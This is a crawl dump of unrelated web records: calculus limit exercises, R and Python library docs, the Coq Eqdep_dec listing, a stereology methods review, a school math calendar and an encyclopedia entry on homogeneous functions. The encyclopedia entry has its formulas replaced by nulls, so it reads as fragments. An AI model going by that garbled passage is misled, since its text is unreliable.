x^2+4x+3$\n\nb)\n$\\lim_{x \\to 2} 3(x^2+4x+3)^2$\n\nc)\n$\\lim_{x \\to 1} \\frac{2-3x+4x^2}{2+x^4}$\n\nd)\n$\\lim_{x \\to 0} 4(3)^x$\n\ne)\n$\\lim_{x \\to \\frac{\\pi}{2}} 3(\\sin x)^4$\n\n• 2.\nEvaluating Limits with specific limits given\nGiven that $\\lim_{x \\to 5} f(x)=-3$, $\\lim_{x \\to 5} g(x)=5$, $\\lim_{x \\to 5} h(x)=2$, use the limit properties to compute the following limits:\na)\n$\\lim_{x \\to 5} [5f(x)-2g(x)]$\n\nb)\n$\\lim_{x \\to 5} [g(x)f(x)+3h(x)]$\n\nc)\n$\\lim_{x \\to 5} \\frac{2g(x)}{h(x)}$\n\nd)\n$\\lim_{x \\to 5} \\frac{5[f(x)]^3}{g(x)}$"
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https://rdrr.io/github/fionarhuang/TreeSummarizedExperiment/man/asLeaf.html | [
"# asLeaf: change internal nodes to leaf nodes In fionarhuang/TreeSummarizedExperiment: TreeSummarizedExperiment: a S4 Class for Data with Tree Structures\n\n## Description\n\n`asLeaf` updates a `phylo` tree by changing the specified internal nodes to leaf nodes. In other words, the descendant nodes of the specified internal nodes are removed.\n\n## Usage\n\n `1` ```asLeaf(tree, node) ```\n\n## Arguments\n\n `tree` A phylo object. `node` A numeric or character vector. It specifies internal nodes that are changed to leaves via their node labels or numbers.\n\nA phylo object.\n\n## Examples\n\n ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26``` ```library(ggtree) data(tinyTree) ggtree(tinyTree, ladderize = FALSE) + geom_text2(aes(label = label), color = \"darkorange\", hjust = -0.1, vjust = -0.7) + geom_text2(aes(label = node), color = \"darkblue\", hjust = -0.5, vjust = 0.7) + geom_hilight(node = 16) + geom_point2() # remove the blue branch NT1 <- asLeaf(tree = tinyTree, node = 16) ggtree(NT1, ladderize = FALSE) + geom_text2(aes(label = label), color = \"darkorange\", hjust = -0.1, vjust = -0.7) + geom_point2() # if mergeSingle = TRUE, the node (Node_17) is removed. NT2 <- asLeaf(tree = tinyTree, node = c(15, 13)) ggtree(NT2, ladderize = FALSE) + geom_text2(aes(label = label), color = \"darkorange\", hjust = -0.1, vjust = -0.7) + geom_point2() ```\n\nfionarhuang/TreeSummarizedExperiment documentation built on June 16, 2021, 2:11 p.m."
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https://coq.github.io/doc/master/stdlib/Coq.Logic.Eqdep_dec.html | [
"# Library Coq.Logic.Eqdep_dec\n\nWe prove that there is only one proof of x=x, i.e eq_refl x. This holds if the equality upon the set of x is decidable. A corollary of this theorem is the equality of the right projections of two equal dependent pairs.\nAuthor: Thomas Kleymann |<[email protected]>| in Lego adapted to Coq by B. Barras\nCredit: Proofs up to K_dec follow an outline by Michael Hedberg\n1. Streicher's K and injectivity of dependent pair hold on decidable types\n1.1. Definition of the functor that builds properties of dependent equalities from a proof of decidability of equality for a set in Type\n1.2. Definition of the functor that builds properties of dependent equalities from a proof of decidability of equality for a set in Set\n\n# Streicher's K and injectivity of dependent pair hold on decidable types\n\nSet Implicit Arguments.\n\nSection EqdepDec.\n\nVariable A : Type.\n\nLet comp (x y y':A) (eq1:x = y) (eq2:x = y') : y = y' :=\neq_ind _ (fun a => a = y') eq2 _ eq1.\n\nRemark trans_sym_eq : forall (x y:A) (u:x = y), comp u u = eq_refl y.\n\nVariable x : A.\n\nVariable eq_dec : forall y:A, x = y \\/ x <> y.\n\nLet nu (y:A) (u:x = y) : x = y :=\nmatch eq_dec y with\n| or_introl eqxy => eqxy\n| or_intror neqxy => False_ind _ (neqxy u)\nend.\n\nLet nu_constant : forall (y:A) (u v:x = y), nu u = nu v.\n\nQed.\n\nLet nu_inv (y:A) (v:x = y) : x = y := comp (nu (eq_refl x)) v.\n\nRemark nu_left_inv_on : forall (y:A) (u:x = y), nu_inv (nu u) = u.\n\nTheorem eq_proofs_unicity_on : forall (y:A) (p1 p2:x = y), p1 = p2.\n\nTheorem K_dec_on :\nforall P:x = x -> Prop, P (eq_refl x) -> forall p:x = x, P p.\n\nThe corollary\n\nLet proj (P:A -> Prop) (exP:ex P) (def:P x) : P x :=\nmatch exP with\n| ex_intro _ x' prf =>\nmatch eq_dec x' with\n| or_introl eqprf => eq_ind x' P prf x (eq_sym eqprf)\n| _ => def\nend\nend.\n\nTheorem inj_right_pair_on :\nforall (P:A -> Prop) (y y':P x),\nex_intro P x y = ex_intro P x y' -> y = y'.\n\nEnd EqdepDec.\n\nNow we prove the versions that require decidable equality for the entire type rather than just on the given element. The rest of the file uses this total decidable equality. We could do everything using decidable equality at a point (because the induction rule for eq is really an induction rule for { y : A | x = y }), but we don't currently, because changing everything would break backward compatibility and no-one has yet taken the time to define the pointed versions, and then re-define the non-pointed versions in terms of those.\n\nTheorem eq_proofs_unicity A (eq_dec : forall x y : A, x = y \\/ x <> y) (x : A)\n: forall (y:A) (p1 p2:x = y), p1 = p2.\n\nTheorem K_dec A (eq_dec : forall x y : A, x = y \\/ x <> y) (x : A)\n: forall P:x = x -> Prop, P (eq_refl x) -> forall p:x = x, P p.\n\nTheorem inj_right_pair A (eq_dec : forall x y : A, x = y \\/ x <> y) (x : A)\n: forall (P:A -> Prop) (y y':P x),\nex_intro P x y = ex_intro P x y' -> y = y'.\n\nRequire Import EqdepFacts.\n\nWe deduce axiom K for (decidable) types\nTheorem K_dec_type :\nforall A:Type,\n(forall x y:A, {x = y} + {x <> y}) ->\nforall (x:A) (P:x = x -> Prop), P (eq_refl x) -> forall p:x = x, P p.\n\nTheorem K_dec_set :\nforall A:Set,\n(forall x y:A, {x = y} + {x <> y}) ->\nforall (x:A) (P:x = x -> Prop), P (eq_refl x) -> forall p:x = x, P p.\n\nWe deduce the eq_rect_eq axiom for (decidable) types\nTheorem eq_rect_eq_dec :\nforall A:Type,\n(forall x y:A, {x = y} + {x <> y}) ->\nforall (p:A) (Q:A -> Type) (x:Q p) (h:p = p), x = eq_rect p Q x p h.\n\nWe deduce the injectivity of dependent equality for decidable types\nTheorem eq_dep_eq_dec :\nforall A:Type,\n(forall x y:A, {x = y} + {x <> y}) ->\nforall (P:A->Type) (p:A) (x y:P p), eq_dep A P p x p y -> x = y.\n\nTheorem UIP_dec :\nforall (A:Type),\n(forall x y:A, {x = y} + {x <> y}) ->\nforall (x y:A) (p1 p2:x = y), p1 = p2.\n\nUnset Implicit Arguments.\n\n## Definition of the functor that builds properties of dependent equalities on decidable sets in Type\n\nThe signature of decidable sets in Type\n\nModule Type DecidableType.\n\nAxiom eq_dec : forall x y:U, {x = y} + {x <> y}.\n\nEnd DecidableType.\n\nThe module DecidableEqDep collects equality properties for decidable set in Type\n\nModule DecidableEqDep (M:DecidableType).\n\nImport M.\n\nInvariance by Substitution of Reflexive Equality Proofs\n\nLemma eq_rect_eq :\nforall (p:U) (Q:U -> Type) (x:Q p) (h:p = p), x = eq_rect p Q x p h.\n\nInjectivity of Dependent Equality\n\nTheorem eq_dep_eq :\nforall (P:U->Type) (p:U) (x y:P p), eq_dep U P p x p y -> x = y.\n\nUniqueness of Identity Proofs (UIP)\n\nLemma UIP : forall (x y:U) (p1 p2:x = y), p1 = p2.\n\nUniqueness of Reflexive Identity Proofs\n\nLemma UIP_refl : forall (x:U) (p:x = x), p = eq_refl x.\n\nStreicher's axiom K\n\nLemma Streicher_K :\nforall (x:U) (P:x = x -> Prop), P (eq_refl x) -> forall p:x = x, P p.\n\nInjectivity of equality on dependent pairs in Type\n\nLemma inj_pairT2 :\nforall (P:U -> Type) (p:U) (x y:P p),\nexistT P p x = existT P p y -> x = y.\n\nProof-irrelevance on subsets of decidable sets\n\nLemma inj_pairP2 :\nforall (P:U -> Prop) (x:U) (p q:P x),\nex_intro P x p = ex_intro P x q -> p = q.\n\nEnd DecidableEqDep.\n\n## Definition of the functor that builds properties of dependent equalities on decidable sets in Set\n\nThe signature of decidable sets in Set\n\nModule Type DecidableSet.\n\nParameter U:Set.\nAxiom eq_dec : forall x y:U, {x = y} + {x <> y}.\n\nEnd DecidableSet.\n\nThe module DecidableEqDepSet collects equality properties for decidable set in Set\n\nModule DecidableEqDepSet (M:DecidableSet).\n\nImport M.\nModule N:=DecidableEqDep(M).\n\nInvariance by Substitution of Reflexive Equality Proofs\n\nLemma eq_rect_eq :\nforall (p:U) (Q:U -> Type) (x:Q p) (h:p = p), x = eq_rect p Q x p h.\n\nInjectivity of Dependent Equality\n\nTheorem eq_dep_eq :\nforall (P:U->Type) (p:U) (x y:P p), eq_dep U P p x p y -> x = y.\n\nUniqueness of Identity Proofs (UIP)\n\nLemma UIP : forall (x y:U) (p1 p2:x = y), p1 = p2.\n\nUniqueness of Reflexive Identity Proofs\n\nLemma UIP_refl : forall (x:U) (p:x = x), p = eq_refl x.\n\nStreicher's axiom K\n\nLemma Streicher_K :\nforall (x:U) (P:x = x -> Prop), P (eq_refl x) -> forall p:x = x, P p.\n\nProof-irrelevance on subsets of decidable sets\n\nLemma inj_pairP2 :\nforall (P:U -> Prop) (x:U) (p q:P x),\nex_intro P x p = ex_intro P x q -> p = q.\n\nInjectivity of equality on dependent pairs in Type\n\nLemma inj_pair2 :\nforall (P:U -> Type) (p:U) (x y:P p),\nexistT P p x = existT P p y -> x = y.\n\nInjectivity of equality on dependent pairs with second component in Type\n\nNotation inj_pairT2 := inj_pair2.\n\nEnd DecidableEqDepSet.\n\nFrom decidability to inj_pair2\nLemma inj_pair2_eq_dec : forall A:Type, (forall x y:A, {x=y}+{x<>y}) ->\n( forall (P:A -> Type) (p:A) (x y:P p), existT P p x = existT P p y -> x = y ).\n\nExamples of short direct proofs of unicity of reflexivity proofs on specific domains\n\nLemma UIP_refl_unit (x : tt = tt) : x = eq_refl tt.\n\nLemma UIP_refl_bool (b:bool) (x : b = b) : x = eq_refl.\n\nLemma UIP_refl_nat (n:nat) (x : n = n) : x = eq_refl."
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http://www.stereology.info/vasculature-thick-sections/ | [
"# Vasculature – thick sections\n\nReview of Publication: Wälchli, T., Mateos, J.M., Weinman, O., Babic, D., Regli, L., Hoerstrup, S.P., Gerhardt, H., Schwab, M.E., and J. Vogel (2015) Quantitative Assessment of Angiogenesis, Perfused Blood Vessels and Endothelial Tip Cells in the Postnatal Mouse Brain. Nature Protocols, 10, 53 – 74.\n\nThe next manuscript we will look at is also a very well written guide to using unbiased stereology to estimate cardinal parameters of the vasculature. Unlike the paper on thin sections reviewed here (Mühlfeld, 2014) however; this review (Wälchli, et al., 2015) considers how to quantify vasculature in thick, forty micron sections instead of thin, two to three micron sections. Isotropic probes can be used in thick sections when estimating length and surface, eliminating the need to make the tissue isotropic. In other words, instead of having to use isotropic or vertical sections when making length and surface estimates as is the case for thin sections, the authors’ preferred orientation, in this case coronal (Wälchli, et al., “PROCEDURE, step 33, first critical step”), can be used!\n\nThe post-natal mouse brain is an interesting model system to study angiogenesis since it is ongoing after birth (Wälchli, et al., “Toward mature, perfused blood vessels: the postnatal mouse brain as a model”). Perfused blood vessels and non-perfused blood vessels were differentiated to look at ‘perfusion status’. Evans Blue (EB) that binds to serum albumin was injected intracardially on post natal day eight to label perfused blood vessels but not non-perfused vessels. Brains were removed and sectioned coronally into three slabs and fixed and then treated for isolectin B4 (IB4) that binds to endothelial cells, thus revealing both perfused and non-perfused vessels. The authors ”recommend the use of relatively thick (e.g., 40-μm) brain sections to obtain reliable 3D information about the blood vessel tree and to quantify vessel parameters such as vessel volume fraction, vessel length or vessel branch points (Fig. 5).” (Wälchli, et al., “Experimental design, last paragraph, also see, PROCEDURE, step 17”).\n\nSystematic random sampling for choosing the inter-section and the intra-section interval is also recommended. Confocal laser-scanning microscopy image stacks were taken. Analysis of perfused and non-perfused vessel structure using unbiased stereology to determine, volume fraction, length and number of branch points and endothelial tip cells was done with a 20x objective (Wälchli, et al., “Imaging and quantification”). This is fine for all of these analyses except for estimating number, where a higher numerical aperture lens (0.13 or 0.14) should be used.\n\nIt is stressed that design-based stereological methods\n\nprovide direct information about morphological 3D parameters of interest — e.g., the length of vessels, the number of vessel branch points or the vessel volume fraction. This is in stark contrast to the biologically difficult-to-interpret but commonly used variety of measures such as ‘percent of the area of a section occupied by vessels’, ‘number of pixels occupied in an image’ or ‘measures of length or diameter’ in 2D projections. (Wälchli, et al., “Imaging and quantification, second paragraph”; also see, “Advantages of the protocol compared with alternatives, fourth and fifth bullet-point”).\n\nThe easiest way to measure is to count the interactions between vascular features and geometric probes — i.e., how many times does a test point fall onto the volume of a vessel, how many times does the length of a vessel intersect with a test area or how many vessel branch points are contained in a volume probe? (Wälchli, et al., “Imaging and quantification, fourth paragraph”).\n\nThe NvVref method used requires that an estimate of numerical density (Nv) such as surface per volume, is multiplied by the reference volume (Vref) to avoid the volume-reference trap. The fractionator method could have been used if the volume fraction could have been tracked. Our software package, StereoInvestigator, is used, giving the “advantage that all calculations are taken care of.” (Wälchli, et al., “Imaging and quantification, fourth paragraph”).\n\n“Aside from their rigorous mathematical basis and efficiency, design-based stereological methods provide access to parameters that would otherwise be difficult, if not impossible, to accurately measure in tissue sections.” (Wälchli, et al., “Imaging and quantification, fifth paragraph”). The example of capillary segment length is considered. For direct measurements, the entire segment would have to be contained within a section. “Shorter capillary segments would be more likely to be included in the section than longer ones, always generating an underestimate independent of orientation and shape.” (Wälchli, et al., “Imaging and quantification, fifth paragraph”). Counting intersections of the vessels with the image plane is possible, but isotropy must be ensured or the risk of “potentially biasing estimates to capillary segments with a preferred orientation (in the section plane)” is incurred.\n\nAny experimental intervention that alters the orientation or shape of capillary segments, i.e., 3D vascular architecture, has the potential to change the estimates of segment length in an unpredictable direction and with unpredictable strength, and, most importantly, without the need for an actual change of length to be present. Aside from obviating the need to generate a sufficiently large sample of capillary segments included in the section plane in the first place, the combination of stereological length estimates with branch-point counts to derive segment length is free from these potential biases. (Wälchli, et al., “Imaging and quantification, fifth paragraph”).\n\nThe procedure for using unbiased stereology for quantification of the vasculature (Wälchli, et al., “PROCEDURE, step 33, and Figure 5”), is very well laid-out. Events are counted,\n\ni.e., points for vascular volumes, areas for vascular lengths and volumes for vascular branch points. Use design-based stereological methods, because the resulting estimates are unbiased in the sense that the number of interactions is independent of the size, shape or orientation of vascular features other than those of the feature of interest. (Wälchli, et al., 2015, PROCEDURE, step 33, first paragraph)\n\nIt is a critical step to define the region of interest on the section that was selected by systematic random sampling. Instead of contouring the whole cortex in the given section, ‘a complete cortical transect from the pial surface to the deep border of the layer 6 of a 40-um-thick coronal brain section’ is outlined (Wälchli, et al., “PROCEDURE, step 33, first critical step”); in Figures 5a-c, it is apparent the whole cortex is not traced, and this adds a random element to the otherwise systematic and random sampling. Since the volume fraction is not kept track of at this point, the fractionator method is not possible so the NvVref method must be used. Systematic random sampling is used in the randomly selected region of cortex to determine where confocal stacks are taken.\n\nVessel Volume Fraction (Wälchli, et al., “PROCEDURE, step 33A”)\n\nThe Area Fraction Fractionator probe, (all probes were implemented in our software, StereoInvestigator), is used to estimate the percent of perfused and non-perfused blood vessels by volume. An example of marking points on the three types of tissue; perfused blood vessels, non-perfused blood vessels, and non-blood vessel tissue, is shown in figures 5d and 5g. The point-marking is done on one confocal image plane; it is pointed out that will minimize over-projection problems since this plane is so thin, 0.2 microns. The plane is picked randomly from the stack.\n\nVessel Length (Wälchli, et al., “PROCEDURE, step 33B”)\n\nThe Spaceballs probe was used to estimate length density of perfused and non-perfused blood vessels. If the fractionator method had been used, there would be no need to know the reference volume that has to be multiplied by the numerical density to obtain a length estimate. In figures 5e and h, an example of marking the intersection of the ‘backbone’ of a vessel with the virtual hemisphere is shown. The hemispheres were twenty microns in radius to fit inside the tissue sections. The hemisphere is itself isotropic, so the tissue does not have to be manipulated (see vertical and isotropic sectioning); the huge advantage of using thick sections when estimating length is that an isotropic probe is possible allowing the use of preferentially oriented, in this case coronal, sections.\n\nVascular Branch Point and Vascular Endothelial Tip Cell Number (Wälchli, et al., “PROCEDURE, step 33C and D”)\n\nThe Optical Disector (NvVref method) was used to count nodes in perfused and non-perfused vessels and also to count tip cells. An example of marking these objects in a twenty micron tall disector is shown in figures 5f and i. Thick sections must be used for this probe so the disector can fit inside the section. For nodes, each is categorized with a valence, indicating how many segments come out of that node; only nodes with three or four branches were encountered.\n\nCalculating Number of Segments and Other Vascular Parameters (Wälchli, et al., “PROCEDURE, step 33E”)\n\nThe parameters that were estimated (see above) can variously be used to calculate other information:\n\nNumber of Microvessels (Løkkegaard, et al., 2001, “Number”)\n\nIf we know the estimate of the number of nodes, Pn, of a given valence, n, we can calculate the number of microvessels, W, and number of segments, s (Løkkegaard, 2004, “Chapter 7, Fig. 7.3”).",
null,
"In the figure above, counting frames are shown, and a unique point has been determined to count, i.e., the cusp of the smallest angle. The diagonal black dashes show where a node has been ruled out since its unique point goes through the rejection plane of the disector shown here as the red-line of a counting frame. The blue circles indicate nodes with valences of three, because they have three branches coming from them, and the green circles indicate nodes with valences of four.",
null,
"The number of capillaries (number of microvessels) is:\n\nW = ∑ {[(n-2)/2] * Pn} + 1\n\nW is the number of microvessels\n\nn = valence of the nodes\n\nPn = number of nodes of that valence\n\nIf using the NvVref method instead of the fractionator method, divide by the sum of the volumes of all the disectors and then you must multiply by the reference volume.\n\nThe example on the left has two nodes, each with valences of three. The vessels are shown in red.\n\nW = (3-2)/2 * 2 + 1 = 2\n\nIn other words you can trace two paths without going over the same vessel. An example of two paths making up two capillaries or microvessels is shown in green.\n\nThe example on the right has four nodes each with a valence of three, and one node (the node farthest to the right) with a valence of four.\n\nW = [(3-2)/2 * 4] + [(4-2)/2 * 1] + 1 = 2 + 1 + 1 = 4\n\nIn other words we can trace four paths (one example is shown with the green traces) through the network without going over the same vessel twice.\n\nNumber of Segments (Løkkegaard, et al., 2004, “Fig. 7.3”)\n\nOnce the number of microvessels is know, we can calculate the number of segments:\n\nS = W + ∑ nv\n\nS is the number of segments defined as from one node to the next\n\nW = number of microvessels (see green traces)\n\nnv = number of nodes of all valences\n\nFor the example on the left there are two nodes and two microvessels (W = 2, green lines):\n\nS = 2 + 2 = 4\n\nEach of the four segments is indicated with a diagonal-dash.\n\nFor the example on the right, there are four nodes with valence three, and one with valence four, so the sum of all nodes regardless of valence is five. The number of microvessels, W, is four.\n\nS = 4 + (4 + 1) = 9\n\nThe nine capillary segments are indicated by nine diagonal dashed lines.\n\nAverage Capillary Length (Løkkegaard, et al., 2001, p. 732)\n\nThe average capillary length can be calculated by dividing the estimate of the length of all capillaries by the number of microvessels. In the Løkkegaard paper that is referenced (Løkkegaard et al., 2001), the total length estimate is made with thin sections that have been made isotropic with the use of the isector. This is at least partially because Spaceballs was not invented yet!\n\nl-mean (cap.) = L(cap)/W(cap)\n\nl-mean (cap.) is the mean length of microvessels\n\nL(cap) = total length estimate obtained with Spaceballs (see above)\n\nW(cap) = number of capillaries (microvessels) (see above)\n\nAverage Diffusion Area and Radius (Løkkegaard, et al., 2001, p. 732)\n\nThe estimate of length density of vessels obtained with Spaceballs can be used to calculate the average diffusion area of the vessels:\n\nA(diffusion) = 1/Lv\n\nA(diffusion) is area of cortex associated with the length of the vessels\n\nLv = length of vessels per volume of cortex estimated with Spaceballs\n\nIf we model the volume along the vessel as a cylinder, we can ‘work backwards’ and calculate the radius associated with that cylindrical volume:\n\nVolume of a cylinder = π * r2 * length\n\nradius(diffusion) = square root [Volume of a cylinder / π * length] = square root [1/ π * Lv]\n\nradius(diffusion) is the length along the vessel in all radial directions that constitutes the volume of cortex associated with that vessel\n\nLv = length density estimate obtained with Spaceballs\n\nThe surface of the inner wall of the vessels can also be calculated by working backwards from the formula for the surface of a cylinder (Løkkegaard, et al., 2001, p. 732). But to estimate surface directly, the isotropic fakir probe could have been used. Analogous to Spaceballs, it is a probe that is itself isotropic requiring thick sections but allowing for the use of preferentially oriented sections.\n\nReferences\n\nLøkkegaard, A., Nyengaard, J.R., and M.J. West (2001) Stereological Estimates of Number and Length of Capillaries in Subdivisions of the Human Hippocampal Region, Hippocampus, 11, 726-740\n\nLokkegaard , A. (2004) The Number of Microvessels Estimated by an Unbiased Stereological Method Applied in a Brain Region. Chapter 7 in Quantitative Methods in Neuroscience: A Neuroanatomical Approach . Evans et al., 2004. Oxford University Press.\n\nWälchli, T., Mateos, J.M., Weinman, O., Babic, D., Regli, L., Hoerstrup, S.P., Gerhardt, H., Schwab, M.E., and J. Vogel (2015) Quantitative Assessment of Angiogenesis, Perfused Blood Vessels and Endothelial Tip Cells in the Postnatal Mouse Brain. Nature Protocols, 10, 53 – 74."
]
| [
null,
"http://www.stereology.info/wp-content/uploads/2015/07/marking-nodes.png",
null,
"http://www.stereology.info/wp-content/uploads/2015/07/number-of-microvessels-illlustrated.png",
null
]
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https://educatorpages.com/site/barnes/pages/106077 | [
"",
null,
"# 8th Grade Math - Mrs. Barnes\n\nSeptember 2011\n\nSun\n\nMon\n\nTue\n\nWed\n\nThu\n\nFri\n\nSat\n\n1\n\nLessons 2-1 to 2-3\n\nPractice\n\n2\n\nLessons 2-1 to 2-3\n\nReview and Quiz\n\n3\n\n4\n\n5\n\nHOLIDAY\n\n6\n\nLesson 2-4\n\nScientific Notation\n\nLesson\n\n7\n\nLesson 2-4\n\nScientific Notation\n\nPractice\n\n8\n\nLesson 2-5\n\nSquare Roots (the basics)\n\nLesson\n\n9\n\nScientific Notation Quiz\n\nSquare Roots Game\n\n10\n\n11\n\n12\n\nLesson 2-6\n\nEstimating Square Roots\n\nLesson\n\n13\n\nLesson 2-7\n\nSimplifying Square Roots\n\nLesson\n\n14\n\nLesson 2-7\n\nSimplifying Square Roots\n\nPractice\n\n15\n\nLesson 2-8\n\nLesson\n\n16\n\nEstimating and Simplifying Square Roots Quiz\n\n17\n\n18\n\n19\n\nLesson 2-8\n\nLesson\n\n20\n\nLesson 2-9\n\nMultiplying and Dividing Square Roots\n\nLesson\n\n21\n\nLesson 2-9\n\nAdding, Subtracting, Multiplying, and Dividing Square Roots\n\nPractice\n\n22\n\nSquare Roots Review\n\n(Lessons 2-5 to 2-9)\n\n23\n\nSquare Roots Test\n\n(Lessons 2-5 to 2-9)\n\n24\n\n25\n\n26\n\nLesson 2-10\n\nRational and Irrational Numbers\n\nLesson\n\n27\n\nLesson 2-10\n\nRational and Irrational Numbers\n\nPractice\n\nIntroduce the Pythagorean Theorem\n\n28\n\nLesson 2-11\n\nPythagorean Theorem\n\nLesson\n\n29\n\nLesson 2-11\n\nPythagorean Theorem\n\nPractice\n\n30\n\nCOUGAR CARNIVAL"
]
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null,
"https://www.facebook.com/tr",
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https://encyclopediaofmath.org/index.php?title=Homogeneous_function&oldid=11366 | [
"# Homogeneous function\n\n(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)\n\nof degree",
null,
"A function",
null,
"such that for all points",
null,
"in its domain of definition and all real",
null,
", the equation",
null,
"holds, where",
null,
"is a real number; here it is assumed that for every point",
null,
"in the domain of",
null,
", the point",
null,
"also belongs to this domain for any",
null,
". If",
null,
"that is,",
null,
"is a polynomial of degree not exceeding",
null,
", then",
null,
"is a homogeneous function of degree",
null,
"if and only if all the coefficients",
null,
"are zero for",
null,
". The concept of a homogeneous function can be extended to polynomials in",
null,
"variables over an arbitrary commutative ring with an identity.\n\nSuppose that the domain of definition",
null,
"of",
null,
"lies in the first quadrant,",
null,
", and contains the whole ray",
null,
",",
null,
", whenever it contains",
null,
". Then",
null,
"is homogeneous of degree",
null,
"if and only if there exists a function",
null,
"of",
null,
"variables, defined on the set of points of the form",
null,
"where",
null,
", such that for all",
null,
",",
null,
"If the domain of definition",
null,
"of",
null,
"is an open set and",
null,
"is continuously differentiable on",
null,
", then the function is homogeneous of degree",
null,
"if and only if for all",
null,
"in its domain of definition it satisfies the Euler formula",
null,
"How to Cite This Entry:\nHomogeneous function. Encyclopedia of Mathematics. URL: http://encyclopediaofmath.org/index.php?title=Homogeneous_function&oldid=11366\nThis article was adapted from an original article by L.D. Kudryavtsev (originator), which appeared in Encyclopedia of Mathematics - ISBN 1402006098. See original article"
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767015.png",
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767017.png",
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767018.png",
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767019.png",
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767020.png",
null,
"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767021.png",
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767022.png",
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767029.png",
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767030.png",
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"https://www.encyclopediaofmath.org/legacyimages/h/h047/h047670/h04767031.png",
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https://pyts.readthedocs.io/en/0.10.0/generated/pyts.classification.BOSSVS.html | [
"# `pyts.classification`.BOSSVS¶\n\nclass `pyts.classification.``BOSSVS`(word_size=4, n_bins=4, window_size=10, window_step=1, anova=False, drop_sum=False, norm_mean=False, norm_std=False, strategy='quantile', alphabet=None, numerosity_reduction=True, use_idf=True, smooth_idf=False, sublinear_tf=True)[source]\n\nBag-of-SFA Symbols in Vector Space.\n\nEach time series is transformed into an histogram using the Bag-of-SFA Symbols (BOSS) algorithm. Then, for each class, the histograms are added up and a tf-idf vector is computed. The predicted class for a new sample is the class giving the highest cosine similarity between its tf vector and the tf-idf vectors of each class.\n\nParameters: word_size : int (default = 4) Size of each word. n_bins : int (default = 4) The number of bins to produce. It must be between 2 and 26. window_size : int or float (default = 10) Size of the sliding window. If float, it represents the percentage of the size of each time series and must be between 0 and 1. The window size will be computed as `ceil(window_size * n_timestamps)`. window_step : int or float (default = 1) Step of the sliding window. If float, it represents the percentage of the size of each time series and must be between 0 and 1. The window size will be computed as `ceil(window_step * n_timestamps)`. anova : bool (default = False) If True, the Fourier coefficient selection is done via a one-way ANOVA test. If False, the first Fourier coefficients are selected. drop_sum : bool (default = False) If True, the first Fourier coefficient (i.e. the sum of the subseries) is dropped. Otherwise, it is kept. norm_mean : bool (default = False) If True, center each subseries before scaling. norm_std : bool (default = False) If True, scale each subseries to unit variance. strategy : str (default = ‘quantile’) Strategy used to define the widths of the bins: ‘uniform’: All bins in each sample have identical widths ‘quantile’: All bins in each sample have the same number of points ‘normal’: Bin edges are quantiles from a standard normal distribution ‘entropy’: Bin edges are computed using information gain alphabet : None, ‘ordinal’ or array-like, shape = (n_bins,) Alphabet to use. If None, the first n_bins letters of the Latin alphabet are used. numerosity_reduction : bool (default = True) If True, delete sample-wise all but one occurence of back to back identical occurences of the same words. use_idf : bool (default = True) Enable inverse-document-frequency reweighting. smooth_idf : bool (default = False) Smooth idf weights by adding one to document frequencies, as if an extra document was seen containing every term in the collection exactly once. Prevents zero divisions. sublinear_tf : bool (default = True) Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf).\n\nReferences\n\n [R8daeb0a7e989-1] P. Schäfer, “Scalable Time Series Classification”. Data Mining and Knowledge Discovery, 30(5), 1273-1298 (2016).\n\nExamples\n\n```>>> from pyts.classification import BOSSVS\n>>> X_train, X_test, y_train, y_test = load_gunpoint(return_X_y=True)\n>>> clf = BOSSVS(window_size=28)\n>>> clf.fit(X_train, y_train) # doctest: +ELLIPSIS\nBOSSVS(...)\n>>> clf.score(X_test, y_test)\n0.98\n```\nAttributes: classes_ : array, shape = (n_classes,) An array of class labels known to the classifier. idf_ : array, shape = (n_features,) , or None The learned idf vector (global term weights) when `use_idf=True`, None otherwise. tfidf_ : array, shape = (n_classes, n_words) Term-document matrix. vocabulary_ : dict A mapping of feature indices to terms.\n\nMethods\n\n `__init__`(self[, word_size, n_bins, …]) Initialize self. `decision_function`(self, X) Evaluate the cosine similarity between document-term matrix and X. `fit`(self, X, y) Compute the document-term matrix. `get_params`(self[, deep]) Get parameters for this estimator. `predict`(self, X) Predict the class labels for the provided data. `score`(self, X, y[, sample_weight]) Return the mean accuracy on the given test data and labels. `set_params`(self, \\*\\*params) Set the parameters of this estimator.\n`__init__`(self, word_size=4, n_bins=4, window_size=10, window_step=1, anova=False, drop_sum=False, norm_mean=False, norm_std=False, strategy='quantile', alphabet=None, numerosity_reduction=True, use_idf=True, smooth_idf=False, sublinear_tf=True)[source]\n\nInitialize self. See help(type(self)) for accurate signature.\n\n`decision_function`(self, X)[source]\n\nEvaluate the cosine similarity between document-term matrix and X.\n\nParameters: X : array-like, shape (n_samples, n_timestamps) Test samples. X : array, shape (n_samples, n_classes) Cosine similarity between the document-term matrix and X.\n`fit`(self, X, y)[source]\n\nCompute the document-term matrix.\n\nParameters: X : array-like, shape = (n_samples, n_timestamps) Training vector. y : array-like, shape = (n_samples,) Class labels for each data sample. self : object\n`get_params`(self, deep=True)\n\nGet parameters for this estimator.\n\nParameters: deep : bool, default=True If True, will return the parameters for this estimator and contained subobjects that are estimators. params : mapping of string to any Parameter names mapped to their values.\n`predict`(self, X)[source]\n\nPredict the class labels for the provided data.\n\nParameters: X : array-like, shape = (n_samples, n_timestamps) Test samples. y_pred : array, shape = (n_samples,) Class labels for each data sample.\n`score`(self, X, y, sample_weight=None)\n\nReturn the mean accuracy on the given test data and labels.\n\nIn multi-label classification, this is the subset accuracy which is a harsh metric since you require for each sample that each label set be correctly predicted.\n\nParameters: X : array-like of shape (n_samples, n_features) Test samples. y : array-like of shape (n_samples,) or (n_samples, n_outputs) True labels for X. sample_weight : array-like of shape (n_samples,), default=None Sample weights. score : float Mean accuracy of self.predict(X) wrt. y.\n`set_params`(self, **params)\n\nSet the parameters of this estimator.\n\nThe method works on simple estimators as well as on nested objects (such as pipelines). The latter have parameters of the form `<component>__<parameter>` so that it’s possible to update each component of a nested 